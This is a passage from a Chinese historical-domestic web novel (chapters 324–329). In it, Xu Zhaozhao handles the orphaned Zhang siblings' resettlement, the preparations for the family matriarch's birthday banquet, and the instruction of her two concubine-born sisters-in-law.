蓝田县亦属于京兆府,而事关玉矿,不仅仅需要在蓝田县备案登记,京兆府这边也是同样要有的。 而且,发现玉矿了,不代表你就可以开采玉矿,相关手续,还是要京兆府才能出具,蓝田县的权限没有那么大。 其实相关的一些事,蓝田县令方有为自会上禀府尹,但是高大魁这里再特意说一遍,其实就是为了告诉赵长清,安乐县主愿意与其交好。 赵长清的重点可没放在玉矿上,而是种植药材上。 “你刚刚说蓝田县可种药材?” “回大人,是去岁开荒时,有些地实在是没有办法种粮食,真种下了,估计一亩地顶天儿能收一石米,这产量实在太低,而且还需要三五年的时间来养地。当时县主又收留了不少的灾民,所以,便干脆请了一些有经验的人来看,最终种了药材。” 赵长清的脸色这才好看一些。 正常情况下,大兴朝是鼓励开垦荒地种粮食,而非药材的。 因为粮食的需求量更大。 赵长清就是因为担心县主一时只为了图利而大面积种植药材的话,那没有粮食怎么办? 现在知道是怎么回事了,赵长清自然也就不那么担心。 “嗯,县主心中有数便好。” “禀大人,县主还命小的在那里种了不少来自西域的农作物,估计再有两个月便能有所收获。小的来之前,还特意去田地里看了一眼,确定那些农作物都长势不错,这才敢来禀报大人一声。” 赵长清人都听懵了,怎么还有新鲜的农作物了? 这是要给自己送功绩? 赵长清再转念一想,虽然现在许君霆是在户部做事,但是实际上的种植地在蓝田县,属于赵长清的管辖范围之内,上禀到他这里,也是再正常不过的。 而且,若是许君霆那里都上报了,自己还一无所知,那才是真的倒霉。 第324章 张氏兄妹 永州的事情虽然解决了,但仍然是有一些恶劣的影响在。 许翰几人还没有回来,他们需要在那边确定好府兵们都能战时迅速集结,并且有足够的战斗力后,才能回来。 许翰没回来,但是谢啸林带着小妾小宋氏和一众亲兵回来了。 许昭昭身为儿媳,自然也当前往迎接。 谢啸林回来后,给老夫人磕头请安,这才发现少了谢铮和谢啸威。 “铮儿呢?” 许昭昭站出来:“回禀父亲,夫君在太极殿值守。” 谢啸林也知道永州暴民一事,先前还有人曾在京中意图煽动百姓闹事,幸而朝廷发现得早,这才没有出事。 所以,谢铮这个时候在太极殿值守,足见陛下对他的信重。 因为知道是怎么回事,所以谢啸林只是点点头,想必四弟现在也是在公廨处理事务,既然如此,那也不必再多问。 倒是小宋氏低声问:“老爷的书信可曾送到?” 这是在问站在一旁的贾氏。 贾氏点点头:“几日前便收到了。所以府上也早就做了安排。正院那边都已经收拾好了,老爷可以直接住进去。” 小宋氏皱眉,下意识往许昭昭的方向看一眼:“世子也知道今日老爷回来?” 这话贾氏没法儿接,因为她听出来了,这是在埋怨世子没能事先请假在家呢。 许昭昭则是面无表情地扫一眼过去,之后看向谢啸林:“父亲,您一路辛苦了,还是先回去歇息吧。夫君要等到晚膳前才会回府,若是陛下临时有事吩咐,时间就不确定了。” “也好。” 谢啸林为人粗枝大叶,丝毫没有意识到刚刚小宋氏的问话是别有用心。 而老夫人和于氏则是都略有几分厌恶地瞪了小宋氏一眼,碍于谢啸林的面子,所以谁也没有斥责她。 但就是这样的一份不搭理,在小宋氏看来,就是一种极大的屈辱了。 尤其是许昭昭对她的无视,让她有一种莫大的羞辱感。 许昭昭才懒得搭理一个小宋氏,看不清楚自己位置的人,早晚都会死得很惨。 谢啸林转身欲走,两步后又回来:“母亲,我还带回来一对兄妹,是故人之子。如今他们双亲亡故,我想着先让他们在府里小住几日,之后我再寻机会带他们回宗族。” 这年头,但凡是有些成就的人,都会很在意自己的家族。 能和谢啸林称得上故人的,那必然也是身份不一般。 所以于氏点头应下,承诺会将他们兄妹安顿好。 晚膳时,谢铮和谢啸威都回来了。 也因此,晚上就成了为谢啸林接风洗尘。 这样重要的场合,小宋氏和贾氏都是没有资格参加的。 也不能说是没资格,只能说是她们要和其它几房的小妾们一样,是在另外的一处屋子里吃酒的。 因为身份不同,份例自然就不同。 所以,小宋氏和贾氏她们桌上的酒菜都不一样。 小宋氏在冀州跟着谢啸林待了几年,在那里一直都是以女主人自居,如今回了府里,一下子被打回原形,这心里的落差可是太大了。 但是她又毫无办法。 因为在冀州时,虽然没有正经主母压她一头,但是所有人都知道她只是国公爷的小妾,而且那边的条件艰苦,能被她使唤的人也有限。 况且早几年的时候,谢铮也在那边,所以她压根儿不敢表现得太过。 直到后来谢铮被调回京,她才一下子觉得冀州的天都更蓝云更白了。 只可惜,这种好日子没过太久,她就随着老爷一起回京了。 如果没有什么意外的话,那谢啸林将只会担任一个虚职,对外只会说是借此机会来休养身体。 这于武将而言,是一种十分正常的安排。 就好像是许翰一样,除了当着他的右卫大将军,平时能躲懒就躲懒,至于兵部的其它差事,打死也不接。 不同的是,许翰现在还是右卫大将军,这是兵权在握。 而谢啸林这次回京,目的很明确,就是给儿子、侄子们铺路。 他也是过了四十的人了,没必要太拼。 而且多年的征战,他身上也的确是有不少暗疾。 借此机会来好好调养,希望能于寿数无碍。 晚上,谢铮就主动提到了给父亲调理身体之事。 许昭昭点头,她虽然并不懂医,但她懂药呀。 “明日请两位太医过来给父亲诊脉吧,只要太医开出方子来,我这里便能制出效果最好的药。” “嗯。父亲很看重你。” 许昭昭抬头:“此话从何而来呀?” “之前父亲在冀州时,曾用过你配制的药丸,效果极佳。而且因为你的药丸,所以也救下来不少的将士们。所以,父亲一直觉得你虽是女子,却也是位英雄。” 许昭昭挑眉,看不出来,她这位公爹的三观还算是正。 既然如此,那自己也不介意帮他调理一下身体。 谢啸林带回来的那对兄妹,其父就是谢啸林手底下的兵,几年前便战死沙场,没多久,其夫人便随之而去,只留下这么一对儿女。 因为路远,且这对儿女的年纪也不大,所以当时谢啸林就一直让他们在冀州城内生活。 如今谢啸林归京,自然也就将他们一并带回来了。 许昭昭看完资料,对于这对兄妹的印象其实很一般。 说不上好,但是也不算是多坏。 主要就是因为没有接触过。 哥哥叫张武,妹妹叫张燕,很普通的名字,如今哥哥的年纪已经十五岁,也是可以养家糊口的年纪了。 “主子,这个张武也念过几年书,所以后来国公爷为了照顾他们兄妹俩,便让其在军中给一名书记官打下手,如此一个月也能有些进项。但毕竟不是正经官职,所以这次国公爷缷任,他们也便跟着一起回来了。” “查到张家的事了?” 许柱子连忙道:“张家祖籍蓝田县张家村,小的去打听过,离着您的云栖山庄大概有二十里路。” 不算太近,但也不算是特别远。 “张家村?这是一个宗族?” “回主子,张家村上的人都姓张,如今整个村子的生活尚可,温饱无虞。” 第325章 不愿意 尚可? 也就是说能吃饱,有衣穿,但是想要享受富贵生活是不可能的。 “你去过张武的家了?” “回主子,去过了。屋子就是很寻常的茅草屋,不过因为年久失修,所以现在已经破败不堪。至于田地,一直都是族里人在帮忙照看。” “嗯,回头取些钱,张武家老宅不动,留给他们兄妹自行处置,另外找到族长或者是村长,另行划块地出来,直接给他盖成砖瓦房。还有,再去和族里人交涉一下,看看有多少田产是登记在张武名下的。” “是,主子。” 这些田产之前都是登记在张武父亲名下的,但是张武父亲没了,按规矩,这些田产就会落到张武头上。 有时候族里人吃绝户,就是仗着某些人家里头没有男丁。 但张武家不同,他如今十五了,也应该撑起门户来。 而且张武的父亲也是有抚恤银的,虽然不多,但这些都是张武和张燕该得的。 许昭昭早就问过了,先前这兄妹俩一直在冀州生活,张武除了平时做事之外,就是读书,而妹妹张燕则是学一些女红,基本上也不怎么出门。 许昭昭估计,这兄妹俩都是被当成了半个主子对待,可是像他们这种情况的人太多了,如果都是护国公府的责任,那还真养不起。 好在,朝廷是有良心的。 所以,张武名下有田地,也有其父的一些抚恤银。 既然是跟随在护国公身边战死的,那么许昭昭命人为其修缮屋舍,这已经是做得很好了。 若他们兄妹二人是知道感恩,且知足的,那么许昭昭不介意再帮衬一二。 但若是他们兄妹起了旁的心思,许昭昭就不得不防了。 所以,寻个机会,许昭昭让人将这兄妹二人带过来了。 谢啸林对于这些琐事一般是不怎么理会的,他只要知道这对兄妹没有被苛待,有吃有穿,那就可以了。 毕竟不是他自己的孩子,而且严格来说,这也不是他的责任,所以他自认为已经仁至义尽了。 但是在冀州时,小宋氏没少借着这兄妹俩来跟谢啸林这里说话,无非就是让她自己显得重要一些罢了。 许昭昭请示过之后,便和谢啸林一起见到了这对兄妹。 彼时,谢啸成和于氏也都在。 许昭昭注意到这兄妹二人的穿戴不错,而且两人手上都十分光滑,并无薄茧,可见先前几年在冀州也生活得不错。 “如今你们也回京了,我已命人联系到了你们的族人,正好离京也不算太远,你们打算何时回去给你们的父母上柱香?” 张武的父亲是战死的,在战场上,很多人的尸骨都是要被烧成灰带回来的。 这样一是防疫病,二则是方便。 而张武的母亲是自尽而亡,早在两年前,谢啸林便已经命人将他们夫妻送回张家村安葬了。 这两年,兄妹二人只是在冀州祭拜他们的牌位,却从未正式的上过一次坟。 张武读过书,知廉耻,自然明白是该回去祭拜的。 “回世子夫人,我和妹妹商量着这两日便动身,只是因为当初离开家乡时年幼,所以不认得路。” 这是实话。 张武和张燕是在幼时被张母带去冀州的,不认识路,甚至是不认识一些族亲都是正常的。 “无妨,你们收拾好之后,只需要知会一声,会有人安排车马送你们回去的。” “是,多谢世子夫人。” 一旁的张燕原本有些紧张,但是她听到了‘回去’,眼底立马闪过一抹惊惧,瞪大眼睛,一脸惊慌道:“大将军嫌弃我们是累赘了吗?要把我们赶走?” 许昭昭勾唇,眼睛直勾勾地盯着张燕,轻声道:“赶走?张姑娘怕是弄错了。你们祖籍蓝田县张家村,你们的族亲都在那里,你们父母的坟墓也在那里。你们回去,难道不应该吗?” 谢啸林原本没听出什么不对来。 但此时许昭昭的话,让他突然意识到,可能是什么地方不对劲了。 张燕立马开始掉眼泪:“世子夫人就这么容不下我们吗?我们兄妹二人能吃多少?你们国公府这么大,这么有钱,我们两个能吃多少?” 张武只觉得满面羞臊,斥责道:“燕燕,闭嘴!” “我不!” 张燕许是被宠坏了,也不知道是怎么想的,竟然直接顶撞道:“为什么不让我说?父亲母亲都没了,当初是大将军说要照顾我们的。现在一回京,大将军的家人们就不乐意了,这是把我们当什么?” 于氏皱眉,这话怎么听着这么怪异呢? “所以张姑娘的意思,是要留在国公府,而且还要一直住在这里了?” 许昭昭这语调不对,熟悉她的人,应该就能听出来,她生气了。 谢啸林脸色冷肃:“好了!你们兄妹回去祭拜父母亡魂,这有什么好商议的?” 张燕被吓得打了个嗝,眼泪也不再往下掉了。 谢啸林转头看向儿媳妇:“他们离家多年,只怕家中也是无法安置。我当初的确是说过要好好照顾他们,这一点,我不能食言。” 许昭昭对于公爹的这番话很满意,因为他并没有直接就下令将他们兄妹留在这里,而且,刚刚的话,也只是他的一个态度,并无强迫之意。 “父亲容禀,张家村的情况我已经派人去查实过,张氏族人们老实敦厚,且张武兄妹的户籍也的确是在张家村,他们名下总共有八亩田地,如今也被族人们照料得很好。且张氏族长表示,若是他们兄妹二人回去,族里会先拿出一年的粮食来给他们度日,还会将八亩良田归还。 另外,张族长也表明会再给他们院子里弄上几只鸡鸭,再弄些柴火以供其生活。这也算是多年来他们一直在耕种那八亩田地的报酬。 至于屋舍,我已经派人与张族长说好,老屋暂时保留,因为毕竟是张武家的祖产,我已经安排人另行划了地块,正在给他们兄妹俩建造新宅院,且都是砖瓦房,考虑到张姑娘年幼,所以还特意命人要修高院墙。” 第326章 没把自己当外人呀 谢啸林听她说完,满意得很。 这个儿媳妇果然不错,将一切都考虑周到了。 “你安排的很好,只是张武也没怎么种过田,以前倒是在军中有份差事,他们兄妹二人日后的生计,你可曾考虑过?” “回禀父亲,至于差事方面,儿媳原本也是想要等屋舍建成之后再与您商量,也想着让张小郎君自己考虑的。既然您提到,那就直说了。” “这些你也有安排了?” “是。差事方面倒是不难,而且张小郎君才十五,不知以前读过什么书,可有科考的打算?” 张武连忙摇头:“不行的,我也就是识得几个字罢了,写文章是万万不成的。” 这就是不可能走科举,也不能做私塾先生了。 “既然如此,那张小郎君可精于数算?” “勉强吧。” 许昭昭其实都有点儿不知道说什么了,这个也不行,那个也不中,还不愿意回家种地,那想怎么着?白送你一箱子钱要不要呀? 于氏看出不妥,连忙打着圆场。 “大哥,此事不急,还是先让他们兄妹去祭奠一下父母,然后再去看看老屋中可还有难舍之物。昭昭虽然已经命人在修葺新宅院了,也总得让他们兄妹二人去看看,省得日后再有不满意。” 张武虽然没有什么才华,但也是能听懂好赖话,红着脸道:“没有什么不满的。大将军对我们兄妹已经很好了。而且世子夫人也考虑周到,我们能有安身之所,已然十分感激了。” 但张燕,显然不这么想。 “哥哥!” “闭嘴!” 张燕的话被哥哥的凶样给吓回了肚子里,她以前都舍不得那个有些破败的将军府,如今到了京城,又怎么可能会舍得离开国公府? 这么大的府邸,就是她现在住的客院,都比自己家里要大很多,她凭什么要搬出去住? 大将军说了要照顾他们,就不能食言! 最终,没有讨论出一个结果。 但是次日,张武张燕兄妹俩要回张家村祭拜,而且按规矩,还是要去给族里的长辈们去见礼的。 张武看得通透。 世子夫人都出银钱帮他们盖宅院了,没道理还要再赖着人家。 而且父亲是战死沙场,又不是大将军害的,他们哪能一直赖着大将军? 晚上,谢铮回来后,便听说了此事,对此也只是微微点头,并不在意。 身为武将,这种事情见得多了。 而且那对兄妹,他原本也是认识的,但是并无什么好感,尤其是那个妹妹,言行经常不得体,谢铮在冀州时,为了避嫌,最长的一回有半年多没回过冀州的将军府。 “我今日倒是听到了一件有趣的事,三郎可想听听?” 谢铮笑了,握住她的手往榻的方向走:“你若是愿意说,那我自然洗耳恭听。” “自打父亲回来后,那位叫张燕的姑娘便几乎日日都要去小宋氏院子里小坐,甚至还提到了要留在国公府,不知三郎以为如何?” 谢铮一脸茫然:“与我何干?她又不是谢家人,而且这里离她的家也不足百里,为何不回自己家?” 许昭昭抿唇笑了,嗔怪道:“因为人家没把自己当外人呀!” 谢铮反应再慢,此时也听出些猫腻来。 “何故?” “我得恭喜三郎,有位小娘子看上你了,意图与你作妾呢。” 谢铮一脸嫌弃,呲完牙之后,又快速地将许昭昭抱在怀里。 “我可不要什么小妾,只你一个,便让我吃不消了,哪里还有心思再去招惹其它女人?” “什么叫吃不消?你说的好像我经常无理取闹一般。” “呵呵,是我说错话了。我的娘子自然是天下第一好的,不过纳妾一事可莫要再提了,我没这个打算。而且当初也是答应过你的,此生只你一妻,不纳妾,不养外宅,绝不反悔。” “那个张燕虽然是相貌一般,但是胜在年纪小呀,三郎真的不考虑一下?” 许昭昭说着话,还故意眨眨眼。 这表情,看得谢铮心底一阵火热,他家娘子怎么会有这么多面呢? 刚刚那狡猾的小表情,也太可爱了吧! 二话不说,直接抱起人就进里间了。 许昭昭惊呼一声:“你干嘛呀!说正事呢。” “嗯,我现在就在办正事。” 一夜春风,许昭昭最后连抬一抬手指的力气都没有了,更别说再故意气谢铮了。 经此一回,许昭昭也算是知道了以后绝对不能在这个男人面前太放肆了。 她原本只是想着逗一逗他,谁知道他会这么猛呀! 张武和张燕兄妹俩祭拜完父母之后再次回到了国公府,不过这一回,被人安排着直接就搬出去了。 许昭昭虽然不将张燕放在眼里,但实在是不喜欢麻烦,更不喜欢有人在眼皮子底下来惦记自己的夫君。 所以,二人被暂时安置在了万年县的一处宅院里。 这处宅子,还是许昭昭命人去赁的。 许柱子对于张武的印象还不错,但是对于张燕,那是半分看不上的。 “张小郎君,这处宅子只住你们兄妹二人是绰绰有余的。厨房里备了米粮调料,余下的若是蔬菜或者是肉食,你们可以到外面现吃现买。这是主子给二位备下的一贯钱,若只是买肉买菜,足够用了。” 张武一脸羞愧,连忙推拒:“不不不,这个钱我们不能要!” “小郎君还是收下吧,这是主子交代的,我们若是办不好,回头也得挨罚。另外,不是不愿意让二位住在府里,是因为国公府即将要摆一场盛宴,二位住着委实不太方便,便是我们国公爷的远亲来了,暂时都还只能借宿在外面呢,所以还请二位体谅一下。” 许昭昭这一手可太漂亮了。 直接就把人给撵出来了,而且还让人挑不出错处来。 因为国公府老夫人要过寿,定然是要大摆宴席,届时诸多亲眷们来了都住不下,又怎么可能还容许两位外人住着? 况且,来的都是勋贵,许昭昭是真怕那个口无遮拦的张燕再惹祸,万一冲撞到了贵人,到时候人家把账算到国公府头上,那他们冤不冤呀! 第327章 敲打 老夫人要过寿,这是事实。 会来一些远亲朋友,这也是事实。 而且老夫人也是有几年没有这样大办过了,以往过寿,也只是将自己的孩子们都叫起来一起吃个饭,再不然,就是宴请一些京中权贵高门也便罢了。 但这一次,老夫人想要大办。 一是因为国公府世子谢铮娶妻了,二是护国公谢啸林回京了。 这两件大事,比起她一个老婆子的寿辰而言,都更为重要。 所以老夫人才想要借此机会大办,然后好让所有人都知道,她对孙媳妇很满意,她的儿孙们也都很孝顺,同时也是给出诸多门户的一个信号。 谢家有后起之秀,且娶的还是名门贵女,谢家的荣华,还能再延续数十年。 老夫人娘家姓林,这次想要大摆筵席,自然就要宴请诸多的族亲们过来,这其中有谢家,自然也有林家。 有些人家就住在下面的县里,有的甚至是住在乡下的,近的就在几条街之外,可远的可能要走上百里路。 所以,护国公府想要准备出一些客院来给亲朋们小住,这是再正常不过的。 许昭昭刚想偷个懒呢,于氏便寻上门了。 “二婶婶有何吩咐直说便是,还劳您亲自跑一趟,倒是我的不是了。” 于氏听着这话很是受用,但还是略有几分不好意思。 “是这样,咱们家老夫人过寿呢,定然会有不少亲戚们过来,有些离得远,当天回去是不可能的,而且老夫人年纪大了,还有可能再留着几位老姐妹多住几日,我已经算过了,这客院都安排满,也是住不下的。” “还请二婶婶明示。” “昭昭呀,你这锦绣园地方大,别的不多说,再安排上两三户人家是绝对没有问题的。” 许昭昭笑了:“是二婶婶想出来的主意,还是另有其人?” 于氏看她一眼后,一时忍不住:“就知道瞒不过你。这是你四婶婶提醒的,不过我觉得不妥,但当时老夫人也在,所以,我只能过来问问。” “原来如此。这倒不是什么难事。据我所知,咱们国公府在平康坊不是还有一处别院吗?直接将一些亲眷安置在那里便好了。” 于氏点头:“我也是这个意思,但是京中如今有宵禁,我是担心万一她们聊的晚了,若是走不了,那才是麻烦。” “祖母年纪大了,向来有早睡的习惯,又怎么会聊得太晚?再说了,客随主便,哪能客大欺主了?” 这话有道理。 于氏仍然有几分为难。 “别人倒是都好办,只是谢、林两家宗族大了,难免会有一些倚老卖老的长辈。咱们是做小辈的,有些话不能说,而老夫人也难以说出口。” “无妨,不是什么大事。这里是护国公府,是咱们自己的家,还能让客人给欺负了?再说了,无规矩不成方圆,咱们国公府的规矩,可不能随着客人的辈份就改来变去,传出去咱们国公府成什么了?” 这话其实也是给于氏吃了一颗定心丸。 以往有这种类似的宴会,整个国公府前前后后要忙活一个月。 于氏执掌中馈,自然也少不了要操心。 若只是一些吃穿用度的话,于氏自然不会犯愁,可就是有一些长辈,仗着年纪大,辈份高,就想着对她颐指气使的,于氏自然也不乐意的。 “昭昭呀,你是世子夫人,又是长房嫡孙媳,这宴会一事,你真的不管一管?” 许昭昭摇头:“不了。许多族人我都不认得,而且很多规矩也不懂,倒不如先看看您和四婶婶是如何安排的。再说了,我就是一个小辈,没见过什么世面,到时候万一出了差错,丢的还是咱们国公府的脸。” 许昭昭这话就是在自谦了。 你一个能随时进宫见驾,还能与皇后一同用膳的县主,竟然说自己没见过世面? 谁信? 国公府在平康坊有处别院,许昭昭在平康坊也有一处陪嫁的宅子,所以和于氏商量之后,就等于是将谢、林两家的一些至亲的客人留在府中歇两日,余下的客人,则是请到外面的两处宅院里住上一两晚。 这样安排看似简单,但实际是一点儿也不轻闲。 因为这两处宅院里都没有多少下人,一下子要安排客人住进去,自然是少不得要再往里面添置仆从的。 许昭昭倒是觉得好办,自己宅院那里,只让自己陪嫁的下人过去侍奉两日便是,而国公府别院那里,于氏则是除了安排自己的陪嫁过去之外,又花银钱从牙行找了十余个短工。 国公府里一下子要摆大寿宴,而且还要来这么多的客人,自然是忙得不可开交,于氏就怕人手再不够,还寻思着要不要从庄子上调些过来用着。 小林氏也知道了锦绣园住不进去,倒是没有多失望,由此也能看得出来,这个许昭昭是说一不二的主儿。 不好惹! 小林氏现在也学乖了,既然不好惹,那就不再硬碰硬。 看她们眼前安排得挺好,等实际上客人们都来了,到时候又不肯走,那才有意思呢。 许昭昭这日照例去给老夫人请安,落坐后不久,便看到了小宋氏和贾氏一起过来请安。 “你既然回来了,便安分过日子。按说你们两个都是妾室,没有资格教导我谢家的小辈,但是谁让我那大儿媳早逝呢。两个姑娘在我身边养大,但我年纪大了,老眼昏花,难免有顾不上的时候,所以这次叫你们过来,也是正式通知你们一声,日后谢婵和谢娟二人的事,便由三郎媳妇管着。” 小宋氏心底一突,脸色不佳,小心翼翼询问:“老夫人,六小姐和七小姐的事无非就是那些吃穿用度,再不然就是女红,这等小事,就不必拿到世子夫人跟前费心了吧?” 小宋氏故意避开亲事不提,其实就是不想让许昭昭插手姐妹二人婚事,她才是谢娟的生母,如今主母不再,自然该由她来做主,凭什么让一个当嫂子的做主? 小宋氏没有半分身为妾室的自觉,这让老夫人的脸色瞬间便冷了下来。 第328章 她可不是个好相与的 “怎么?你在置疑我的话?” 小宋氏吓得心头一紧,立马跪下:“婢妾不敢。” “哼!不敢就好,记清楚自己的身份。六小姐和七小姐是我护国公府正经的主子,你们若是真心为她们好,就该明白,若是由妾室教养长大,或者是由妾室来插手管教的庶女,日后必然不可能有一门好亲事。” 一旁的贾氏很规矩地福身道:“是,婢妾明白。世子夫人心善且能力超然,六小姐能得世子夫人管教,是她的福分。婢妾没本事,也没见过世面,若是有需要婢妾做的事,也请世子夫人尽管吩咐。” 这才是一个妾室应有的态度。 老夫人对此很满意。 而小宋氏则仍然还跪在地上,恨不能咬碎了一口银牙。 她陪在国公爷身边多年,且这几年一直都是她在冀州服侍,原本以为能得几分脸面,没想到这才一回府,便被老夫人给打回了原形,自然是气得不行。 老夫人这里正式发了话,所以打今儿起,谢婵和谢娟二人便每日到锦绣园来请安,而且还要在这里学习一些她们以前不曾接触过的东西。 比如说:看账管家! 以前跟在老夫人身边,学的最多的便是礼仪女红,自己的生母教导时,也一直都是强调着女子当柔弱,日后嫁人,也当夫为妻纲。 但是没有谁真正地教过她们做为一家主母,要做什么。 以前老夫人不教,是因为觉得她们年纪还小,而且当时主要就是学礼仪和女红,再不然就是一些琴棋书画等等。 贵门女子嘛,这样才培养出高贵的气质来。 而现在许昭昭教她们看账管家,其实就是在暗示她们,日后她们是要嫁人为正妻的,而非小妾。 这一点,贾氏一眼明了。 “我儿好福气,如今世子夫人愿意教你这些,便证明会为你寻一门合适的好亲事,而且日后你是嫁过去做正室夫人的,日后在夫家便不必伏低做小,这才是真正的好出路。” 谢婵不是很懂,想到之前谢娟说过的一些话,她又有几分疑惑。 “姨娘,你说大嫂会为我寻一门怎样的亲事呢?若是勋贵之家,必然不可能娶我做正妻的,就算是真有,估计也是庶子的正妻。再不然,可能就是嫁的出身差一些的寒门学子。” “寒门学子又如何?” 贾氏还是看得很通透的。 “婵儿,你自小到大,没怎么受过委屈,那是因为咱们国公府的家风好,门风正!而且当年主母在世时,也从未为难过我们。但并非是所有人家都是如此。你且看看京中闹得欢实的那些府邸,说出去都是笑话! 就算是世子夫人为你寻一寒门秀才为夫,我都觉得满意。再怎么寒门,至少是正牌娘子,身份上就不一样,日后你生的孩子便是嫡出,谁能越得过去?况且咱们国公府也没有苛待庶女的先例,日后你出嫁,光是你的嫁妆便能养活你到死了,还有什么可担心的?” 贾氏这么一分析,谢婵立马就觉得有道理。 况且,她一直以为大嫂是个聪明人,所以就算是为了国公府的脸面,也不可能真地给自己寻一贫苦男子为夫。 与之相反的,是小宋氏和谢娟母女二人的对话。 “你是国公府的七小姐,庶出又如何?跟二房四房的姑娘们比起来,她们远不及你的身份尊贵,就算是庶出,可你才是正经的国公爷的女儿,其它几位又算得了什么?不过是沾了老国公爷的光罢了。 如今陛下看重世子,你可是世子的亲妹妹,你的婚事再怎么着也不能比其它两房姑娘的婚事差。至于那个许昭昭,我瞧着就不是个好相与的,你以后还是要多长个心眼儿,莫要被人哄骗了才是正经。” 谢娟总觉得大嫂和姨娘说的不太一样。 好像说的就不是同一个人。 “姨娘,我觉得大嫂挺好的,而且她还教我们看账、管家,还教我们如何御下,这样的本事,您可不曾教过我。” 小宋氏一噎,她倒是想教,可是拿什么教呀? 她是小妾,而且出身不显,只是宋氏的旁支亲戚,当初因为是一抬小轿子进的府,哪里有什么正经嫁妆? 再说这么多年了,就算是有,也因为和贾氏争宠被她自己给祸祸得差不多了。 至于管家,她就是一个小妾,哪里有资格管家呀! 就算是在冀州时能帮着打理将军府,但那里也是有管家的,而且因为女眷基本上就只有她一个,也没有什么好管的。 至于外面的那些产业,那都是外头的管事们要负责的,而且他们要报账,也只是去老爷或者是世子爷跟前报,跟她说不着呀。 这一刻,小宋氏才深切地意识到了自己和正妻的差别到底有多大! “行了,她愿意教你,也不过是因为老夫人下了命令,她不好拒绝罢了。再说她一介新妇,刚入国公府的大门,自然是要学着在长辈面前来表现一二。若是将你们教得好了,在老夫人那里也能请功。” 谢娟勾勾唇角,总觉得姨娘说的不对,但是她又想不到应该怎么反驳。 “好了,她教什么,你就好好学便是,但是自己也要多长个心眼儿,别以为人家教教你,你就真是人家的贴心妹妹了,这个许昭昭的心可狠着呢!你想想她的那位表姐,如果不是她,怎么可能会混得这么惨?” “啊?”谢娟被说懵了。 完全没有反应过来。 许昭昭教导这两位小姑子,其实也是想着日后不能让她们给国公府惹麻烦,日后成家了,便安心过自己的小日子,若是一点手段也没有,天天被人欺负,难不成国公府还要天天上门去施压吗? 没有这么办事的。 所以,许昭昭现在就是教会她们自己要先立起来,至于她们身边的丫环仆从,许昭昭自然也要都过一遍的。 但凡是敢怂恿主子与国公府离心的,都不能要。 结果这一梳理,还真就梳理出来几个,谢婵和谢娟的身边都有,而且还是大丫环。 许昭昭一脸烦闷:“就知道会有麻烦!罢了,还是要请老夫人做主的。” 第329章 凭什么养着你? 要直接裁撤大丫环,甚至有可能要撵出府去,这都是大事。 许昭昭虽然是世子夫人,但因为要处置的不是她身边的人,所以还是要请示老夫人。 彼时,于氏也在场。 谢婵和谢娟自然也都到了,只是二人的脸色明显不太好,有可能是被吓到了。 于氏听完始末之后,自然是怒不可遏。 “吃着我国公府的饭,竟然还敢带坏我们国公府的姑娘,这等恶仆,就该乱棍打死以儆效尤!” 老夫人也生气,怎么也没想到,两个孙女身边竟然还养了这种吃里扒外的东西。 挑拨着姑娘与国公府不睦,若日后成家,只怕是心中更会对娘家心生怨怼,这种恶仆,的确是该诛! 不过,老夫人寿辰将至,这个时候也不宜有不吉之事。 所以,老夫人发话,将这几人全都带到前院去打二十板子,然后送到城外的庄子上做苦役。 国公府小姐的大丫环,不说一个月的月钱有多少,只说是跟着主子,不必做苦活,甚至是走在下人院里时,那头颅都是抬得高高的。 如今却是直接被贬做苦役了,可见这就是从天堂一步到了地狱。 至于再次挑选人手一事,许昭昭没往自己身上揽,就怕小宋氏和贾氏再作妖。 所以这件事情是由于氏来安排的。 都是府上的家生子,家世没问题,自然也就没有外心。 这次的事情,倒是让小宋氏和贾氏都心生警惕,她们也没想到,自己女儿身边竟然还会有这等心思不纯之人。 要知道这几个大丫环日后都是要跟着小姐做陪嫁的。 一般情况下,日后若是主子怀孕或者是需要争夺夫君的宠爱时,这几个大丫环的用途就很明显了。 因为是丫环出身,所以一般就算是开脸了,也只是个通房,除非是能生下孩子,才会被抬为妾室。 主母会抬举自己身边的大丫环,就是因为她们忠心,而且卖身契在主母手中握着,由不得她们不听话。 可眼下看,分明就是这丫环起了别样的心思,日后若是不能帮衬主子,甚至是还有可能联合婆家来坑害主子,那才是倒大霉了! 经此一事,也让整个国公府的人看到了许昭昭的能力。 一些起了别样心思的仆从们也都马上歇下那份小心思,再不敢轻视这位未来的主母,更不敢去挑衅她的权威。 很快,老夫人的寿辰将至。 于氏开始命人去采买一些日常所需,因为离得远一些的亲戚应该会提前一两天到,这就需要她做好相应的接待。 许昭昭不太在意这些,甚至都没有出面的打算。 不是她过于傲慢,而是在这个等级森严的社会,想要让她亲自出面相迎的人,实在不多。 另一边的小宅院中,张燕正在大发脾气。 这里只是租来的院落,而且只租了一个月,张武也知道,他们的新家很快就能搬进去了,世子夫人厚道,不仅为他们盖好了宅院,甚至还出钱帮忙打了家俱。 这等大恩,已经让他很感动了。 “燕燕,我昨日去看了咱们的新家,现在院墙也都起来了,族长还特意问我,要不要在院子里养上一只看家护院的狗,我想着日后我若是出门做事,家中只余你一人,委实不便,所以便应下了。” “什么只余我一人?难不成连个粗使的仆从都没有吗?” 张武一噎,略有几分为难地看了一眼正在灶房中忙活的婆子,然后拉着妹妹进入屋里说话。 “这里的两名仆役都是世子夫人安排的,咱们若是回自己家,这两位仆役自然也要回到她们主子身边的。” 张燕瞪眼:“这怎么可以?我是做不来粗活的,到时候劈柴担水这些要怎么办?难道哥哥你要让我做这些吗?” 张武立马安抚道:“不会不会。族里人也会帮忙的。而且到时候我能赚银钱,到时候给一些小子们许些好处,他们会帮忙打柴的。” “可是我做饭也不好吃呀。” 张武这下子绷不住了。 “燕燕,你就不能懂事一些吗?咱们的父亲就是普通老百姓一个,母亲也只是一名再普通不过的村妇,你幼时哪里来的仆从使唤?就因为被大将军照顾了几年,你便过不惯寻常百姓的日子了?” “我就是过不惯了又怎样?我就是想过有人服侍的日子有什么错?”张燕据理力争。 张武摇头,一脸无奈:“可是燕燕,我们就是普通百姓呀!父亲后来就算是做了什长,可那也是不入流的小吏,根本连个官都算不上,我们凭什么让国公府派仆役过来供我们使唤?” 张燕气急,泪珠在眼眶里打转转:“怎么就不能使唤了?我们自己没有银钱吗?父亲的抚恤银呢?而且大将军就这样将我们赶出来,总不能一文钱的好处都不给吧?” 张武听罢,竟是退后一步,一脸难以置信地看着她。 这还是自己那个乖巧可爱的妹妹吗? 怎么变成这样了? 大将军有什么义务要这样照顾他们? 当初之所以答应,无非就是因为看到他们兄妹年纪小,所以才心生怜悯。 可是现在怎么听妹妹说出来,就好像是大将军就该养着他们? 